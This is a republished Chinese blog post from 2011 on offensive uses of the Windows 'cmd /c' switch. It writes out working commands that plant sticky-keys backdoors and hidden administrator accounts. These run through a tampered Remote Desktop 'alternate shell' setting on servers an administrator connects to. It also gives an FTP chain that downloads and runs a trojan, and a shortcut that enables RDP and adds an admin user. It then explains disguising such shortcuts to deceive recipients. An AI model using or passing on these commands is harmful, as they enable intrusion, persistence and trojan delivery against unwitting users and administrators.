您的位置:首页 > 其它

“CMD /C”的特殊应用

2011-07-12 15:37 141 查看
作者:白开
文章来源:http://hi.baidu.com/sdghgk
http://hi.baidu.com/sdghgk/blog/item/9833a3164e2ccf11972b4303.html

命令行下似乎有数不尽的秘密,稍微挖掘一下就会有意外惊喜。今天跟各位朋友分享一下“CMD /C”的特殊应用,希望能对大家有所帮助。
在cmd的帮助文件里,它是这样介绍/c参数的:
“CMD [/C string] 执行字符串指定的命令然后中止。请注意,如果字符串有引号,可以接受用命令分隔符 '&&' 隔开的多个命令。”
也就是说它的形式是:CMD /C "字符串"。如此说来,我们可以在引号里将多条命令(包括批处理里的语句)用'&&'连接起来,达到将多条命令化为一条命令的目的。这样,“CMD /C”就可以在那些只能执行一条命令的地方“大发神威”了。
以下是两处应用:
一、远程桌面连接
在远程桌面连接客户端可以设置3389连接时终端服务器启动的应用程序,估计很多朋友都没注意过它,如图一。
在“程序路径和文件名”中,键入程序的路径和文件名。设置以后,由该客户端登陆的服务器就会运行该程序。如果我们在这里写入这样的一个特殊命令会怎样呢?
cmd.exe /c "copy /Y %SystemRoot%\explorer.exe %SystemRoot%\system32\sethc.exe&© /Y %SystemRoot%\explorer.exe %SystemRoot%\system32\dllcache\sethc.exe&&start explorer.exe"
或者
cmd.exe /c "net user nohack nohack /add&&net localgroup administrators nohack /add&&start explorer.exe"
服务器端在没有进行特殊设置的情况下,就会被加上后门(如图二)。
我之所以说“没有特殊设置”,是因为Windows 2003系统可以通过设置,使程序不运行。在“管理工具”的“终端服务配置”里点击“连接”,然后右击RDP-Tcp,选择属性,点击“环境”标签,可以设置客户端连接远程桌面时运行的程序(如图三) ,它会替换掉客户端的设置。
说了这么多,我估计很多朋友已经想到了它的用处。如果拿到局域网中的一台机器,而管理员又通过这台机器登陆其它服务器,那么我们就可以修改这台机器上的mstsc.exe连接设置,假如管理员登录时没有注意到这里,那么他连接上的服务器就都被安装上了后门。
有一点大家需要注意,那就是仅仅做了设置后就关闭mstsc.exe的话,设置并没有保存。我们需要登陆一下,这样设置才会有效。当然,也可以通过另外一种方法——修改Default.rdp文件来实现:在“C:\Documents and Settings\Administrator\My Documents”目录下用记事本打开Default.rdp,在最后添加如下内容(如图四) :
alternate shell:s:cmd.exe /c "copy /Y %SystemRoot%\explorer.exe %SystemRoot%\system32\sethc.exe&© /Y %SystemRoot%\explorer.exe %SystemRoot%\system32\dllcache\sethc.exe&&start explorer.exe"
大家利用webshell进行内网渗透时,在这里进行修改不失为一种思路。
不过现在的这种利用方式还有一定缺陷,那就是在登录后会有一个黑框出现,目前我没有想到什么好的办法来解决,有思路的朋友可以分享一下。
另外,按照这个办法,在利用new用户入侵有3389漏洞的xp系统时,似乎可以在本地这样的设置:
cmd.exe /c "echo open 127.0.0.1>C:\ftp.txt&&echo 123>>C:\ftp.txt&&echo 456>>C:\ftp.txt&&echo get muma.exe C:\muma.exe>>C:\ftp.txt&&echo bye>>C:\ftp.txt&&ftp -s:C:\ftp.txt&&start C:\muma.exe&&del C:\ftp.txt&&exit"
这样的话,我们进到对方界面后就不用再匆匆忙忙地手动下载木马了。但是在我找了几台机器测试后,发现实际上并行不通,这条命令在xp系统下似乎不起作用,登陆后还是直接出现桌面,而程序却不运行。最后我在帮助文件里找到了答案:
“当连接到运行 Windows XP 的远程计算机的控制台会话时,将不会应用某些客户端选项设置。例如,如果客户端已指定了某个程序在与远程计算机连接时启动,并且已连接到该远程计算机的控制台会话,则该程序将不会启动。而是出现默认的桌面。如果连接到的是控制台会话之外的其他会话,则指定的程序会正常启动。控制台会话是 Windows XP Professional 上唯一可用于远程桌面的会话,所以在建立连接后,即使客户端指定了其他的程序,默认的桌面也总会出现。”
二、快捷方式
“CMD /C”在快捷方式上的利用似乎更灵活一些。点击右键,新建快捷方式,在键入项目的位置输入cmd /c "字符串"形式的命令(如图五) ,即可新建一个单击后可以执行多条命令的快捷方式。除了上面介绍的下载木马的命令外,再给大家提供几条:
cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f&&net user 123 456 /add&&net localgroup administrators 123 /add
开启3389端口,并添加用户。或者:
cmd /c "for /l %i in (1,1,20) do start EXPLORER.EXE"
打开20个窗口的窗口炸弹。
上面的操作只是建立了实现功能的快捷方式,由于主程序是cmd.exe,所以图标统统是一个cmd的图标,伪装性实在是差,因此有必要对此图标进行修改。右击快捷方式,选择属性,点击“更改图标”按钮,在“查找图标文本框”里输入SHELL32.dll,这时候就有许多图标可供选择了(如图六) 。另外,这些快捷方式在点击后会有一个命令提示符一样的黑框一闪而过,避免它出现的方法就是在属性的“布局”选项卡里设置“窗口位置”,去掉“由系统定位窗口”前的勾,自行设置窗口左上角位置,只要使窗口出现在屏幕显示范围之外就可以了。
经过伪装后的快捷方式迷惑性还是比较强的(如图七) ,发送这样的快捷方式给别人,对方应该不会怀疑吧?
以上是我想到的两处应用,拿出来跟大家分享一下,其它地方的应用就靠大家自己去挖掘吧。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: